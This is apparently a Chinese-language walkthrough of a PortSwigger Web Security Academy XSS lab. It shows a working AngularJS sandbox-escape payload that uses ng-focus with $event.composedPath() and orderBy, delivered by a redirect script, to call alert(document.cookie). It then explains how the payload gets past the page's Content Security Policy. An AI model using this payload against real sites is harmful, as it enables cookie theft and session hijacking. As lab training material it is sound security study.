# Cross-site scripting Lab26 本題是 AngularJS 沙箱逃逸 + CSP 繞過,呼叫alert(document.cookie)。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/HkVJdGXSel.png) 一樣寫一個 URL: ```url <script> location='https://0adb006303f2e4bd82fc0bad00e900af.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x'; </script> ``` 1. `search=<input ...>` 利用 search 參數反射注入: ``` <input id=x ng-focus=...> ``` 這會在網頁上建立一個 `<input>` 元素,並綁上 `ng-focus`,也就是當該元素取得 focus 時,會執行 AngularJS 表達式。 2. `ng-focus=$event.composedPath() | orderBy: '...'` 2-1. `$event.composedPath()` 在 Chrome 裡,這個會回傳觸發事件的元素路徑,最後一個元素是 window 物件。 2-2. `| orderBy: '(z=alert)(document.cookie)'` AngularJS 的 orderBy 是 filter,可觸發 charAt()。 `z=alert`:是將 alert 指定給 z `(z=alert)(document.cookie)`:等同於 `alert(document.cookie)` 這樣寫是因為 AngularJS 沙箱禁止使用 `window.alert(...)` 這類直球寫法,所以你用變數來繞過。 3. `#x` → 聚焦 `id=x` 的元素 當網頁載入並跳轉至 `#x`,會自動 focus `<input id="x">` 這會觸發 `ng-focus`,執行 payload。 :::info ### 繞過 CSP 怎麼辦到的? CSP 阻擋 script 標籤裡的 inline JS(像是 `<script>alert()</script>`) 但 AngularJS 表達式是由框架自己解析執行的,所以 payload 是從屬性中觸發(ng-focus)→ 不是傳統 JS 途徑,因此繞過了 CSP。 ::: ![image](https://hackmd.io/_uploads/ryMHoMQSee.png) ![image](https://hackmd.io/_uploads/SknHizmBlx.png) ---